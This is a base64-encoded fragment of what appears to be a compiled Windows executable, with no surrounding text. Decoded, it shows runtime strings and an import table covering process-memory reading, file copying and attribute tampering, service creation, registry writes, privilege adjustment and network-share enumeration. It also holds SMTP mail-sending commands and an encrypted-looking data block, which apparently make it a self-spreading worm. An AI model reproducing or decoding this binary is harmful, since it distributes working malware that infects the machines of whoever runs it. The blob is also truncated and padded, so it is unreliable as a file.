AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAGl45XBxcXFJXV7eWtze3lr+WN7 f6VVT2d5VU9neSXBx2N5+WN7f6VnfdXXJUlvQXdRe3n5eW9NpWF3QW0lbXdpZ2P5Y3t/pXdn cyV1e3lrc3t5a/lje3+lV3tPf28ldXt5a3N7eWv5Y3t/pU17fyVLZ3d1Z3lr+WN7f/l1c6VP bWElSW9Bd1F7efl5b02lQ3dDJXV7eWtze3lr+WN7f6VNZ2FhbyVtd2lnY/lje3+lYU9DdSVJ b0F3UXt5+XlvTaV/T3NnJUth/3FnRWd5+WN7+XFFpU17c1d7JUth/3FnRWd5+WN7+XFFpWNv YXdNZ0N3ZyVDdXtLb0FzQ/lje3+lQXdjY2dBbXsbYW99fWd5dyVjZ011Z1dFZ2N3aXdj+WN7 f6VhSW9BQWd9fSV9e2tpQW9N+WN7f6VDd31Jd2cbTWdrfXdnaW9BQXclY2dNdWdXRWdjd2l3 Y/lje3+lpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl 